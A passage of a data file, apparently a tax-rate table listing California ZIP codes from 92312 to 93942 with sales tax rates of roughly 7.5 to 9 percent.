US-CA-92312,US,CA,92312,8,,,, US-CA-92313,US,CA,92313,8,,,, US-CA-92314,US,CA,92314,8,,,, US-CA-92315,US,CA,92315,8,,,, US-CA-92316,US,CA,92316,8,,,, US-CA-92317,US,CA,92317,8,,,, US-CA-92318,US,CA,92318,8,,,, US-CA-92320,US,CA,92320,8,,,, US-CA-92321,US,CA,92321,8,,,, US-CA-92322,US,CA,92322,8,,,, US-CA-92324,US,CA,92324,8,,,, US-CA-92325,US,CA,92325,8,,,, US-CA-92326,US,CA,92326,8,,,, US-CA-92327,US,CA,92327,8,,,, US-CA-92328,US,CA,92328,8,,,, US-CA-92329,US,CA,92329,8,,,, US-CA-92331,US,CA,92331,8,,,, US-CA-92332,US,CA,92332,8,,,, US-CA-92333,US,CA,92333,8,,,, US-CA-92334,US,CA,92334,8,,,, US-CA-92335,US,CA,92335,8,,,, US-CA-92336,US,CA,92336,8,,,, US-CA-92337,US,CA,92337,8,,,, US-CA-92339,US,CA,92339,8,,,, US-CA-92340,US,CA,92340,8,,,, US-CA-92341,US,CA,92341,8,,,, US-CA-92342,US,CA,92342,8,,,, US-CA-92344,US,CA,92344,8,,,, US-CA-92345,US,CA,92345,8,,,, US-CA-92346,US,CA,92346,8,,,, US-CA-92347,US,CA,92347,8,,,, US-CA-92350,US,CA,92350,8,,,, US-CA-92352,US,CA,92352,8,,,, US-CA-92354,US,CA,92354,8,,,, US-CA-92356,US,CA,92356,8,,,, US-CA-92357,US,CA,92357,8,,,, US-CA-92358,US,CA,92358,8,,,, US-CA-92359,US,CA,92359,8,,,, US-CA-92363,US,CA,92363,8,,,, US-CA-92364,US,CA,92364,8,,,, US-CA-92365,US,CA,92365,8,,,, US-CA-92366,US,CA,92366,8,,,, US-CA-92368,US,CA,92368,8,,,, US-CA-92369,US,CA,92369,8,,,, US-CA-92371,US,CA,92371,8,,,, US-CA-92372,US,CA,92372,8,,,, US-CA-92373,US,CA,92373,8,,,, US-CA-92374,US,CA,92374,8,,,, US-CA-92375,US,CA,92375,8,,,, US-CA-92376,US,CA,92376,8,,,, US-CA-92377,US,CA,92377,8,,,, US-CA-92378,US,CA,92378,8,,,, US-CA-92382,US,CA,92382,8,,,, US-CA-92384,US,CA,92384,8,,,, US-CA-92385,US,CA,92385,8,,,, US-CA-92386,US,CA,92386,8,,,, US-CA-92389,US,CA,92389,8,,,, US-CA-92391,US,CA,92391,8,,,, US-CA-92392,US,CA,92392,8,,,, US-CA-92393,US,CA,92393,8,,,, US-CA-92394,US,CA,92394,8,,,, US-CA-92395,US,CA,92395,8,,,, US-CA-92397,US,CA,92397,8,,,, US-CA-92398,US,CA,92398,8,,,, US-CA-92399,US,CA,92399,8,,,, US-CA-92401,US,CA,92401,8.25,,,, US-CA-92402,US,CA,92402,8.25,,,, US-CA-92403,US,CA,92403,8.25,,,, US-CA-92404,US,CA,92404,8,,,, US-CA-92405,US,CA,92405,8.25,,,, US-CA-92406,US,CA,92406,8.25,,,, US-CA-92407,US,CA,92407,8,,,, US-CA-92408,US,CA,92408,8.25,,,, US-CA-92410,US,CA,92410,8.25,,,, US-CA-92411,US,CA,92411,8.25,,,, US-CA-92412,US,CA,92412,8.25,,,, US-CA-92413,US,CA,92413,8.25,,,, US-CA-92415,US,CA,92415,8.25,,,, US-CA-92418,US,CA,92418,8.25,,,, US-CA-92423,US,CA,92423,8.25,,,, US-CA-92427,US,CA,92427,8,,,, US-CA-92501,US,CA,92501,8,,,, US-CA-92502,US,CA,92502,8,,,, US-CA-92503,US,CA,92503,8,,,, US-CA-92504,US,CA,92504,8,,,, US-CA-92505,US,CA,92505,8,,,, US-CA-92506,US,CA,92506,8,,,, US-CA-92507,US,CA,92507,8,,,, US-CA-92508,US,CA,92508,8,,,, US-CA-92509,US,CA,92509,8,,,, US-CA-92513,US,CA,92513,8,,,, US-CA-92514,US,CA,92514,8,,,, US-CA-92515,US,CA,92515,8,,,, US-CA-92516,US,CA,92516,8,,,, US-CA-92517,US,CA,92517,8,,,, US-CA-92518,US,CA,92518,8,,,, US-CA-92519,US,CA,92519,8,,,, US-CA-92521,US,CA,92521,8,,,, US-CA-92522,US,CA,92522,8,,,, US-CA-92530,US,CA,92530,8,,,, US-CA-92531,US,CA,92531,8,,,, US-CA-92532,US,CA,92532,8,,,, US-CA-92536,US,CA,92536,8,,,, US-CA-92539,US,CA,92539,8,,,, US-CA-92543,US,CA,92543,8,,,, US-CA-92544,US,CA,92544,8,,,, US-CA-92545,US,CA,92545,8,,,, US-CA-92546,US,CA,92546,8,,,, US-CA-92548,US,CA,92548,8,,,, US-CA-92549,US,CA,92549,8,,,, US-CA-92551,US,CA,92551,8,,,, US-CA-92552,US,CA,92552,8,,,, US-CA-92553,US,CA,92553,8,,,, US-CA-92554,US,CA,92554,8,,,, US-CA-92555,US,CA,92555,8,,,, US-CA-92556,US,CA,92556,8,,,, US-CA-92557,US,CA,92557,8,,,, US-CA-92561,US,CA,92561,8,,,, US-CA-92562,US,CA,92562,8,,,, US-CA-92563,US,CA,92563,8,,,, US-CA-92564,US,CA,92564,8,,,, US-CA-92567,US,CA,92567,8,,,, US-CA-92570,US,CA,92570,8,,,, US-CA-92571,US,CA,92571,8,,,, US-CA-92572,US,CA,92572,8,,,, US-CA-92581,US,CA,92581,8,,,, US-CA-92582,US,CA,92582,8,,,, US-CA-92583,US,CA,92583,8,,,, US-CA-92584,US,CA,92584,8,,,, US-CA-92585,US,CA,92585,8,,,, US-CA-92586,US,CA,92586,8,,,, US-CA-92587,US,CA,92587,8,,,, US-CA-92589,US,CA,92589,8,,,, US-CA-92590,US,CA,92590,8,,,, US-CA-92591,US,CA,92591,8,,,, US-CA-92592,US,CA,92592,8,,,, US-CA-92593,US,CA,92593,8,,,, US-CA-92595,US,CA,92595,8,,,, US-CA-92596,US,CA,92596,8,,,, US-CA-92599,US,CA,92599,8,,,, US-CA-92602,US,CA,92602,8,,,, US-CA-92603,US,CA,92603,8,,,, US-CA-92604,US,CA,92604,8,,,, US-CA-92605,US,CA,92605,8,,,, US-CA-92606,US,CA,92606,8,,,, US-CA-92607,US,CA,92607,8,,,, US-CA-92609,US,CA,92609,8,,,, US-CA-92610,US,CA,92610,8,,,, US-CA-92612,US,CA,92612,8,,,, US-CA-92614,US,CA,92614,8,,,, US-CA-92615,US,CA,92615,8,,,, US-CA-92616,US,CA,92616,8,,,, US-CA-92617,US,CA,92617,8,,,, US-CA-92618,US,CA,92618,8,,,, US-CA-92619,US,CA,92619,8,,,, US-CA-92620,US,CA,92620,8,,,, US-CA-92623,US,CA,92623,8,,,, US-CA-92624,US,CA,92624,8,,,, US-CA-92625,US,CA,92625,8,,,, US-CA-92626,US,CA,92626,8,,,, US-CA-92627,US,CA,92627,8,,,, US-CA-92628,US,CA,92628,8,,,, US-CA-92629,US,CA,92629,8,,,, US-CA-92630,US,CA,92630,8,,,, US-CA-92637,US,CA,92637,8,,,, US-CA-92646,US,CA,92646,8,,,, US-CA-92647,US,CA,92647,8,,,, US-CA-92648,US,CA,92648,8,,,, US-CA-92649,US,CA,92649,8,,,, US-CA-92650,US,CA,92650,8,,,, US-CA-92651,US,CA,92651,8,,,, US-CA-92652,US,CA,92652,8,,,, US-CA-92653,US,CA,92653,8,,,, US-CA-92654,US,CA,92654,8,,,, US-CA-92655,US,CA,92655,8,,,, US-CA-92656,US,CA,92656,8,,,, US-CA-92657,US,CA,92657,8,,,, US-CA-92658,US,CA,92658,8,,,, US-CA-92659,US,CA,92659,8,,,, US-CA-92660,US,CA,92660,8,,,, US-CA-92661,US,CA,92661,8,,,, US-CA-92662,US,CA,92662,8,,,, US-CA-92663,US,CA,92663,8,,,, US-CA-92672,US,CA,92672,8,,,, US-CA-92673,US,CA,92673,8,,,, US-CA-92674,US,CA,92674,8,,,, US-CA-92675,US,CA,92675,8,,,, US-CA-92676,US,CA,92676,8,,,, US-CA-92677,US,CA,92677,8,,,, US-CA-92678,US,CA,92678,8,,,, US-CA-92679,US,CA,92679,8,,,, US-CA-92683,US,CA,92683,8,,,, US-CA-92684,US,CA,92684,8,,,, US-CA-92685,US,CA,92685,8,,,, US-CA-92688,US,CA,92688,8,,,, US-CA-92690,US,CA,92690,8,,,, US-CA-92691,US,CA,92691,8,,,, US-CA-92692,US,CA,92692,8,,,, US-CA-92693,US,CA,92693,8,,,, US-CA-92694,US,CA,92694,8,,,, US-CA-92697,US,CA,92697,8,,,, US-CA-92698,US,CA,92698,8,,,, US-CA-92701,US,CA,92701,8,,,, US-CA-92702,US,CA,92702,8,,,, US-CA-92703,US,CA,92703,8,,,, US-CA-92704,US,CA,92704,8,,,, US-CA-92705,US,CA,92705,8,,,, US-CA-92706,US,CA,92706,8,,,, US-CA-92707,US,CA,92707,8,,,, US-CA-92708,US,CA,92708,8,,,, US-CA-92711,US,CA,92711,8,,,, US-CA-92712,US,CA,92712,8,,,, US-CA-92728,US,CA,92728,8,,,, US-CA-92735,US,CA,92735,8,,,, US-CA-92780,US,CA,92780,8,,,, US-CA-92781,US,CA,92781,8,,,, US-CA-92782,US,CA,92782,8,,,, US-CA-92799,US,CA,92799,8,,,, US-CA-92801,US,CA,92801,8,,,, US-CA-92802,US,CA,92802,8,,,, US-CA-92803,US,CA,92803,8,,,, US-CA-92804,US,CA,92804,8,,,, US-CA-92805,US,CA,92805,8,,,, US-CA-92806,US,CA,92806,8,,,, US-CA-92807,US,CA,92807,8,,,, US-CA-92808,US,CA,92808,8,,,, US-CA-92809,US,CA,92809,8,,,, US-CA-92811,US,CA,92811,8,,,, US-CA-92812,US,CA,92812,8,,,, US-CA-92814,US,CA,92814,8,,,, US-CA-92815,US,CA,92815,8,,,, US-CA-92816,US,CA,92816,8,,,, US-CA-92817,US,CA,92817,8,,,, US-CA-92821,US,CA,92821,8,,,, US-CA-92822,US,CA,92822,8,,,, US-CA-92823,US,CA,92823,8,,,, US-CA-92825,US,CA,92825,8,,,, US-CA-92831,US,CA,92831,8,,,, US-CA-92832,US,CA,92832,8,,,, US-CA-92833,US,CA,92833,8,,,, US-CA-92834,US,CA,92834,8,,,, US-CA-92835,US,CA,92835,8,,,, US-CA-92836,US,CA,92836,8,,,, US-CA-92837,US,CA,92837,8,,,, US-CA-92838,US,CA,92838,8,,,, US-CA-92840,US,CA,92840,8,,,, US-CA-92841,US,CA,92841,8,,,, US-CA-92842,US,CA,92842,8,,,, US-CA-92843,US,CA,92843,8,,,, US-CA-92844,US,CA,92844,8,,,, US-CA-92845,US,CA,92845,8,,,, US-CA-92846,US,CA,92846,8,,,, US-CA-92850,US,CA,92850,8,,,, US-CA-92856,US,CA,92856,8,,,, US-CA-92857,US,CA,92857,8,,,, US-CA-92859,US,CA,92859,8,,,, US-CA-92860,US,CA,92860,8,,,, US-CA-92861,US,CA,92861,8,,,, US-CA-92862,US,CA,92862,8,,,, US-CA-92863,US,CA,92863,8,,,, US-CA-92864,US,CA,92864,8,,,, US-CA-92865,US,CA,92865,8,,,, US-CA-92866,US,CA,92866,8,,,, US-CA-92867,US,CA,92867,8,,,, US-CA-92868,US,CA,92868,8,,,, US-CA-92869,US,CA,92869,8,,,, US-CA-92870,US,CA,92870,8,,,, US-CA-92871,US,CA,92871,8,,,, US-CA-92877,US,CA,92877,8,,,, US-CA-92878,US,CA,92878,8,,,, US-CA-92879,US,CA,92879,8,,,, US-CA-92880,US,CA,92880,8,,,, US-CA-92881,US,CA,92881,8,,,, US-CA-92882,US,CA,92882,8,,,, US-CA-92883,US,CA,92883,8,,,, US-CA-92885,US,CA,92885,8,,,, US-CA-92886,US,CA,92886,8,,,, US-CA-92887,US,CA,92887,8,,,, US-CA-92899,US,CA,92899,8,,,, US-CA-93001,US,CA,93001,7.5,,,, US-CA-93002,US,CA,93002,7.5,,,, US-CA-93003,US,CA,93003,7.5,,,, US-CA-93004,US,CA,93004,7.5,,,, US-CA-93005,US,CA,93005,7.5,,,, US-CA-93006,US,CA,93006,7.5,,,, US-CA-93007,US,CA,93007,7.5,,,, US-CA-93009,US,CA,93009,7.5,,,, US-CA-93010,US,CA,93010,7.5,,,, US-CA-93011,US,CA,93011,7.5,,,, US-CA-93012,US,CA,93012,7.5,,,, US-CA-93013,US,CA,93013,8,,,, US-CA-93014,US,CA,93014,8,,,, US-CA-93015,US,CA,93015,7.5,,,, US-CA-93016,US,CA,93016,7.5,,,, US-CA-93020,US,CA,93020,7.5,,,, US-CA-93021,US,CA,93021,7.5,,,, US-CA-93022,US,CA,93022,7.5,,,, US-CA-93023,US,CA,93023,7.5,,,, US-CA-93024,US,CA,93024,7.5,,,, US-CA-93030,US,CA,93030,8,,,, US-CA-93031,US,CA,93031,8,,,, US-CA-93032,US,CA,93032,8,,,, US-CA-93033,US,CA,93033,8,,,, US-CA-93034,US,CA,93034,8,,,, US-CA-93035,US,CA,93035,8,,,, US-CA-93036,US,CA,93036,8,,,, US-CA-93040,US,CA,93040,7.5,,,, US-CA-93041,US,CA,93041,8,,,, US-CA-93042,US,CA,93042,7.5,,,, US-CA-93043,US,CA,93043,8,,,, US-CA-93044,US,CA,93044,8,,,, US-CA-93060,US,CA,93060,7.5,,,, US-CA-93061,US,CA,93061,7.5,,,, US-CA-93062,US,CA,93062,7.5,,,, US-CA-93063,US,CA,93063,7.5,,,, US-CA-93064,US,CA,93064,7.5,,,, US-CA-93065,US,CA,93065,7.5,,,, US-CA-93066,US,CA,93066,7.5,,,, US-CA-93067,US,CA,93067,8,,,, US-CA-93094,US,CA,93094,7.5,,,, US-CA-93099,US,CA,93099,7.5,,,, US-CA-93101,US,CA,93101,8,,,, US-CA-93102,US,CA,93102,8,,,, US-CA-93103,US,CA,93103,8,,,, US-CA-93105,US,CA,93105,8,,,, US-CA-93106,US,CA,93106,8,,,, US-CA-93107,US,CA,93107,8,,,, US-CA-93108,US,CA,93108,8,,,, US-CA-93109,US,CA,93109,8,,,, US-CA-93110,US,CA,93110,8,,,, US-CA-93111,US,CA,93111,8,,,, US-CA-93116,US,CA,93116,8,,,, US-CA-93117,US,CA,93117,8,,,, US-CA-93118,US,CA,93118,8,,,, US-CA-93120,US,CA,93120,8,,,, US-CA-93121,US,CA,93121,8,,,, US-CA-93130,US,CA,93130,8,,,, US-CA-93140,US,CA,93140,8,,,, US-CA-93150,US,CA,93150,8,,,, US-CA-93160,US,CA,93160,8,,,, US-CA-93190,US,CA,93190,8,,,, US-CA-93199,US,CA,93199,8,,,, US-CA-93201,US,CA,93201,8,,,, US-CA-93202,US,CA,93202,7.5,,,, US-CA-93203,US,CA,93203,8.5,,,, US-CA-93204,US,CA,93204,7.5,,,, US-CA-93205,US,CA,93205,7.5,,,, US-CA-93206,US,CA,93206,7.5,,,, US-CA-93207,US,CA,93207,8,,,, US-CA-93208,US,CA,93208,8,,,, US-CA-93210,US,CA,93210,8.225,,,, US-CA-93212,US,CA,93212,7.5,,,, US-CA-93215,US,CA,93215,8.5,,,, US-CA-93216,US,CA,93216,8.5,,,, US-CA-93218,US,CA,93218,8,,,, US-CA-93219,US,CA,93219,8,,,, US-CA-93220,US,CA,93220,7.5,,,, US-CA-93221,US,CA,93221,8,,,, US-CA-93222,US,CA,93222,7.5,,,, US-CA-93223,US,CA,93223,8.5,,,, US-CA-93224,US,CA,93224,7.5,,,, US-CA-93225,US,CA,93225,7.5,,,, US-CA-93226,US,CA,93226,7.5,,,, US-CA-93227,US,CA,93227,8,,,, US-CA-93230,US,CA,93230,7.5,,,, US-CA-93232,US,CA,93232,7.5,,,, US-CA-93234,US,CA,93234,8.225,,,, US-CA-93235,US,CA,93235,8,,,, US-CA-93237,US,CA,93237,8,,,, US-CA-93238,US,CA,93238,7.5,,,, US-CA-93239,US,CA,93239,7.5,,,, US-CA-93240,US,CA,93240,7.5,,,, US-CA-93241,US,CA,93241,7.5,,,, US-CA-93242,US,CA,93242,8.225,,,, US-CA-93243,US,CA,93243,7.5,,,, US-CA-93244,US,CA,93244,8,,,, US-CA-93245,US,CA,93245,7.5,,,, US-CA-93246,US,CA,93246,7.5,,,, US-CA-93247,US,CA,93247,8,,,, US-CA-93249,US,CA,93249,7.5,,,, US-CA-93250,US,CA,93250,7.5,,,, US-CA-93251,US,CA,93251,7.5,,,, US-CA-93252,US,CA,93252,7.5,,,, US-CA-93254,US,CA,93254,8,,,, US-CA-93255,US,CA,93255,7.5,,,, US-CA-93256,US,CA,93256,8,,,, US-CA-93257,US,CA,93257,8.5,,,, US-CA-93258,US,CA,93258,8.5,,,, US-CA-93260,US,CA,93260,8,,,, US-CA-93261,US,CA,93261,8,,,, US-CA-93262,US,CA,93262,8,,,, US-CA-93263,US,CA,93263,7.5,,,, US-CA-93265,US,CA,93265,8,,,, US-CA-93266,US,CA,93266,7.5,,,, US-CA-93267,US,CA,93267,8,,,, US-CA-93268,US,CA,93268,7.5,,,, US-CA-93270,US,CA,93270,8,,,, US-CA-93271,US,CA,93271,8,,,, US-CA-93272,US,CA,93272,8,,,, US-CA-93274,US,CA,93274,8.5,,,, US-CA-93275,US,CA,93275,8.5,,,, US-CA-93276,US,CA,93276,7.5,,,, US-CA-93277,US,CA,93277,8.25,,,, US-CA-93278,US,CA,93278,8.25,,,, US-CA-93279,US,CA,93279,8.25,,,, US-CA-93280,US,CA,93280,7.5,,,, US-CA-93282,US,CA,93282,8,,,, US-CA-93283,US,CA,93283,7.5,,,, US-CA-93285,US,CA,93285,7.5,,,, US-CA-93286,US,CA,93286,8,,,, US-CA-93287,US,CA,93287,7.5,,,, US-CA-93290,US,CA,93290,8.25,,,, US-CA-93291,US,CA,93291,8.25,,,, US-CA-93292,US,CA,93292,8.25,,,, US-CA-93301,US,CA,93301,7.5,,,, US-CA-93302,US,CA,93302,7.5,,,, US-CA-93303,US,CA,93303,7.5,,,, US-CA-93304,US,CA,93304,7.5,,,, US-CA-93305,US,CA,93305,7.5,,,, US-CA-93306,US,CA,93306,7.5,,,, US-CA-93307,US,CA,93307,7.5,,,, US-CA-93308,US,CA,93308,7.5,,,, US-CA-93309,US,CA,93309,7.5,,,, US-CA-93311,US,CA,93311,7.5,,,, US-CA-93312,US,CA,93312,7.5,,,, US-CA-93313,US,CA,93313,7.5,,,, US-CA-93314,US,CA,93314,7.5,,,, US-CA-93380,US,CA,93380,7.5,,,, US-CA-93383,US,CA,93383,7.5,,,, US-CA-93384,US,CA,93384,7.5,,,, US-CA-93385,US,CA,93385,7.5,,,, US-CA-93386,US,CA,93386,7.5,,,, US-CA-93387,US,CA,93387,7.5,,,, US-CA-93388,US,CA,93388,7.5,,,, US-CA-93389,US,CA,93389,7.5,,,, US-CA-93390,US,CA,93390,7.5,,,, US-CA-93401,US,CA,93401,8,,,, US-CA-93402,US,CA,93402,7.5,,,, US-CA-93403,US,CA,93403,8,,,, US-CA-93405,US,CA,93405,8,,,, US-CA-93406,US,CA,93406,8,,,, US-CA-93407,US,CA,93407,7.5,,,, US-CA-93408,US,CA,93408,8,,,, US-CA-93409,US,CA,93409,8,,,, US-CA-93410,US,CA,93410,8,,,, US-CA-93412,US,CA,93412,7.5,,,, US-CA-93420,US,CA,93420,8,,,, US-CA-93421,US,CA,93421,7.5,,,, US-CA-93422,US,CA,93422,7.5,,,, US-CA-93423,US,CA,93423,7.5,,,, US-CA-93424,US,CA,93424,7.5,,,, US-CA-93426,US,CA,93426,7.5,,,, US-CA-93427,US,CA,93427,8,,,, US-CA-93428,US,CA,93428,7.5,,,, US-CA-93429,US,CA,93429,8,,,, US-CA-93430,US,CA,93430,7.5,,,, US-CA-93432,US,CA,93432,7.5,,,, US-CA-93433,US,CA,93433,8,,,, US-CA-93434,US,CA,93434,8,,,, US-CA-93435,US,CA,93435,7.5,,,, US-CA-93436,US,CA,93436,8,,,, US-CA-93437,US,CA,93437,8,,,, US-CA-93438,US,CA,93438,8,,,, US-CA-93440,US,CA,93440,8,,,, US-CA-93441,US,CA,93441,8,,,, US-CA-93442,US,CA,93442,8,,,, US-CA-93443,US,CA,93443,8,,,, US-CA-93444,US,CA,93444,7.5,,,, US-CA-93445,US,CA,93445,7.5,,,, US-CA-93446,US,CA,93446,8,,,, US-CA-93447,US,CA,93447,8,,,, US-CA-93448,US,CA,93448,8,,,, US-CA-93449,US,CA,93449,8,,,, US-CA-93450,US,CA,93450,7.5,,,, US-CA-93451,US,CA,93451,7.5,,,, US-CA-93452,US,CA,93452,7.5,,,, US-CA-93453,US,CA,93453,7.5,,,, US-CA-93454,US,CA,93454,8.25,,,, US-CA-93455,US,CA,93455,8,,,, US-CA-93456,US,CA,93456,8.25,,,, US-CA-93457,US,CA,93457,8,,,, US-CA-93458,US,CA,93458,8.25,,,, US-CA-93460,US,CA,93460,8,,,, US-CA-93461,US,CA,93461,7.5,,,, US-CA-93463,US,CA,93463,8,,,, US-CA-93464,US,CA,93464,8,,,, US-CA-93465,US,CA,93465,7.5,,,, US-CA-93475,US,CA,93475,7.5,,,, US-CA-93483,US,CA,93483,8,,,, US-CA-93501,US,CA,93501,7.5,,,, US-CA-93502,US,CA,93502,7.5,,,, US-CA-93504,US,CA,93504,7.5,,,, US-CA-93505,US,CA,93505,7.5,,,, US-CA-93510,US,CA,93510,9,,,, US-CA-93512,US,CA,93512,7.5,,,, US-CA-93513,US,CA,93513,8,,,, US-CA-93514,US,CA,93514,8,,,, US-CA-93515,US,CA,93515,8,,,, US-CA-93516,US,CA,93516,7.5,,,, US-CA-93517,US,CA,93517,7.5,,,, US-CA-93518,US,CA,93518,7.5,,,, US-CA-93519,US,CA,93519,7.5,,,, US-CA-93522,US,CA,93522,8,,,, US-CA-93523,US,CA,93523,7.5,,,, US-CA-93524,US,CA,93524,7.5,,,, US-CA-93526,US,CA,93526,8,,,, US-CA-93527,US,CA,93527,7.5,,,, US-CA-93528,US,CA,93528,7.5,,,, US-CA-93529,US,CA,93529,7.5,,,, US-CA-93530,US,CA,93530,8,,,, US-CA-93531,US,CA,93531,7.5,,,, US-CA-93532,US,CA,93532,9,,,, US-CA-93534,US,CA,93534,9,,,, US-CA-93535,US,CA,93535,9,,,, US-CA-93536,US,CA,93536,9,,,, US-CA-93539,US,CA,93539,9,,,, US-CA-93541,US,CA,93541,7.5,,,, US-CA-93542,US,CA,93542,7.5,,,, US-CA-93543,US,CA,93543,9,,,, US-CA-93544,US,CA,93544,9,,,, US-CA-93545,US,CA,93545,8,,,, US-CA-93546,US,CA,93546,8,,,, US-CA-93549,US,CA,93549,8,,,, US-CA-93550,US,CA,93550,9,,,, US-CA-93551,US,CA,93551,9,,,, US-CA-93552,US,CA,93552,9,,,, US-CA-93553,US,CA,93553,9,,,, US-CA-93554,US,CA,93554,7.5,,,, US-CA-93555,US,CA,93555,8.25,,,, US-CA-93556,US,CA,93556,8.25,,,, US-CA-93558,US,CA,93558,7.5,,,, US-CA-93560,US,CA,93560,7.5,,,, US-CA-93561,US,CA,93561,7.5,,,, US-CA-93562,US,CA,93562,8,,,, US-CA-93563,US,CA,93563,9,,,, US-CA-93581,US,CA,93581,7.5,,,, US-CA-93584,US,CA,93584,9,,,, US-CA-93586,US,CA,93586,9,,,, US-CA-93590,US,CA,93590,9,,,, US-CA-93591,US,CA,93591,9,,,, US-CA-93592,US,CA,93592,8,,,, US-CA-93596,US,CA,93596,7.5,,,, US-CA-93599,US,CA,93599,9,,,, US-CA-93601,US,CA,93601,8,,,, US-CA-93602,US,CA,93602,8.225,,,, US-CA-93603,US,CA,93603,8,,,, US-CA-93604,US,CA,93604,8,,,, US-CA-93605,US,CA,93605,8.225,,,, US-CA-93606,US,CA,93606,8.225,,,, US-CA-93607,US,CA,93607,8.225,,,, US-CA-93608,US,CA,93608,8.225,,,, US-CA-93609,US,CA,93609,8.225,,,, US-CA-93610,US,CA,93610,8,,,, US-CA-93611,US,CA,93611,8.225,,,, US-CA-93612,US,CA,93612,8.225,,,, US-CA-93613,US,CA,93613,8.225,,,, US-CA-93614,US,CA,93614,8,,,, US-CA-93615,US,CA,93615,8,,,, US-CA-93616,US,CA,93616,8.225,,,, US-CA-93618,US,CA,93618,8.75,,,, US-CA-93619,US,CA,93619,8.225,,,, US-CA-93620,US,CA,93620,7.5,,,, US-CA-93621,US,CA,93621,8.225,,,, US-CA-93622,US,CA,93622,8.225,,,, US-CA-93623,US,CA,93623,8,,,, US-CA-93624,US,CA,93624,8.225,,,, US-CA-93625,US,CA,93625,8.225,,,, US-CA-93626,US,CA,93626,8,,,, US-CA-93627,US,CA,93627,8.225,,,, US-CA-93628,US,CA,93628,8.225,,,, US-CA-93630,US,CA,93630,8.225,,,, US-CA-93631,US,CA,93631,8.225,,,, US-CA-93633,US,CA,93633,8,,,, US-CA-93634,US,CA,93634,8.225,,,, US-CA-93635,US,CA,93635,8,,,, US-CA-93636,US,CA,93636,8,,,, US-CA-93637,US,CA,93637,8,,,, US-CA-93638,US,CA,93638,8,,,, US-CA-93639,US,CA,93639,8,,,, US-CA-93640,US,CA,93640,8.225,,,, US-CA-93641,US,CA,93641,8.225,,,, US-CA-93642,US,CA,93642,8.225,,,, US-CA-93643,US,CA,93643,8,,,, US-CA-93644,US,CA,93644,8,,,, US-CA-93645,US,CA,93645,8,,,, US-CA-93646,US,CA,93646,8.225,,,, US-CA-93647,US,CA,93647,8,,,, US-CA-93648,US,CA,93648,8.225,,,, US-CA-93649,US,CA,93649,8.225,,,, US-CA-93650,US,CA,93650,8.225,,,, US-CA-93651,US,CA,93651,8.225,,,, US-CA-93652,US,CA,93652,8.225,,,, US-CA-93653,US,CA,93653,8,,,, US-CA-93654,US,CA,93654,8.725,,,, US-CA-93656,US,CA,93656,8.225,,,, US-CA-93657,US,CA,93657,8.975,,,, US-CA-93660,US,CA,93660,8.225,,,, US-CA-93661,US,CA,93661,7.5,,,, US-CA-93662,US,CA,93662,8.725,,,, US-CA-93664,US,CA,93664,8.225,,,, US-CA-93665,US,CA,93665,7.5,,,, US-CA-93666,US,CA,93666,8,,,, US-CA-93667,US,CA,93667,8.225,,,, US-CA-93668,US,CA,93668,8.225,,,, US-CA-93669,US,CA,93669,8,,,, US-CA-93670,US,CA,93670,8,,,, US-CA-93673,US,CA,93673,8,,,, US-CA-93675,US,CA,93675,8.225,,,, US-CA-93701,US,CA,93701,8.225,,,, US-CA-93702,US,CA,93702,8.225,,,, US-CA-93703,US,CA,93703,8.225,,,, US-CA-93704,US,CA,93704,8.225,,,, US-CA-93705,US,CA,93705,8.225,,,, US-CA-93706,US,CA,93706,8.225,,,, US-CA-93707,US,CA,93707,8.225,,,, US-CA-93708,US,CA,93708,8.225,,,, US-CA-93709,US,CA,93709,8.225,,,, US-CA-93710,US,CA,93710,8.225,,,, US-CA-93711,US,CA,93711,8.225,,,, US-CA-93712,US,CA,93712,8.225,,,, US-CA-93714,US,CA,93714,8.225,,,, US-CA-93715,US,CA,93715,8.225,,,, US-CA-93716,US,CA,93716,8.225,,,, US-CA-93717,US,CA,93717,8.225,,,, US-CA-93718,US,CA,93718,8.225,,,, US-CA-93720,US,CA,93720,8.225,,,, US-CA-93721,US,CA,93721,8.225,,,, US-CA-93722,US,CA,93722,8.225,,,, US-CA-93723,US,CA,93723,8.225,,,, US-CA-93724,US,CA,93724,8.225,,,, US-CA-93725,US,CA,93725,8.225,,,, US-CA-93726,US,CA,93726,8.225,,,, US-CA-93727,US,CA,93727,8.225,,,, US-CA-93728,US,CA,93728,8.225,,,, US-CA-93729,US,CA,93729,8.225,,,, US-CA-93730,US,CA,93730,8.225,,,, US-CA-93737,US,CA,93737,8.225,,,, US-CA-93740,US,CA,93740,8.225,,,, US-CA-93741,US,CA,93741,8.225,,,, US-CA-93744,US,CA,93744,8.225,,,, US-CA-93745,US,CA,93745,8.225,,,, US-CA-93747,US,CA,93747,8.225,,,, US-CA-93750,US,CA,93750,8.225,,,, US-CA-93755,US,CA,93755,8.225,,,, US-CA-93760,US,CA,93760,8.225,,,, US-CA-93761,US,CA,93761,8.225,,,, US-CA-93764,US,CA,93764,8.225,,,, US-CA-93765,US,CA,93765,8.225,,,, US-CA-93771,US,CA,93771,8.225,,,, US-CA-93772,US,CA,93772,8.225,,,, US-CA-93773,US,CA,93773,8.225,,,, US-CA-93774,US,CA,93774,8.225,,,, US-CA-93775,US,CA,93775,8.225,,,, US-CA-93776,US,CA,93776,8.225,,,, US-CA-93777,US,CA,93777,8.225,,,, US-CA-93778,US,CA,93778,8.225,,,, US-CA-93779,US,CA,93779,8.225,,,, US-CA-93786,US,CA,93786,8.225,,,, US-CA-93790,US,CA,93790,8.225,,,, US-CA-93791,US,CA,93791,8.225,,,, US-CA-93792,US,CA,93792,8.225,,,, US-CA-93793,US,CA,93793,8.225,,,, US-CA-93794,US,CA,93794,8.225,,,, US-CA-93844,US,CA,93844,8.225,,,, US-CA-93888,US,CA,93888,8.225,,,, US-CA-93901,US,CA,93901,8,,,, US-CA-93902,US,CA,93902,8,,,, US-CA-93905,US,CA,93905,8,,,, US-CA-93906,US,CA,93906,8,,,, US-CA-93907,US,CA,93907,7.5,,,, US-CA-93908,US,CA,93908,7.5,,,, US-CA-93912,US,CA,93912,8,,,, US-CA-93915,US,CA,93915,8,,,, US-CA-93920,US,CA,93920,7.5,,,, US-CA-93921,US,CA,93921,7.5,,,, US-CA-93922,US,CA,93922,7.5,,,, US-CA-93923,US,CA,93923,7.5,,,, US-CA-93924,US,CA,93924,7.5,,,, US-CA-93925,US,CA,93925,7.5,,,, US-CA-93926,US,CA,93926,7.5,,,, US-CA-93927,US,CA,93927,8.5,,,, US-CA-93928,US,CA,93928,7.5,,,, US-CA-93930,US,CA,93930,7.5,,,, US-CA-93932,US,CA,93932,7.5,,,, US-CA-93933,US,CA,93933,8.5,,,, US-CA-93940,US,CA,93940,7.5,,,, US-CA-93942,US,CA,93942,7.5,,,, 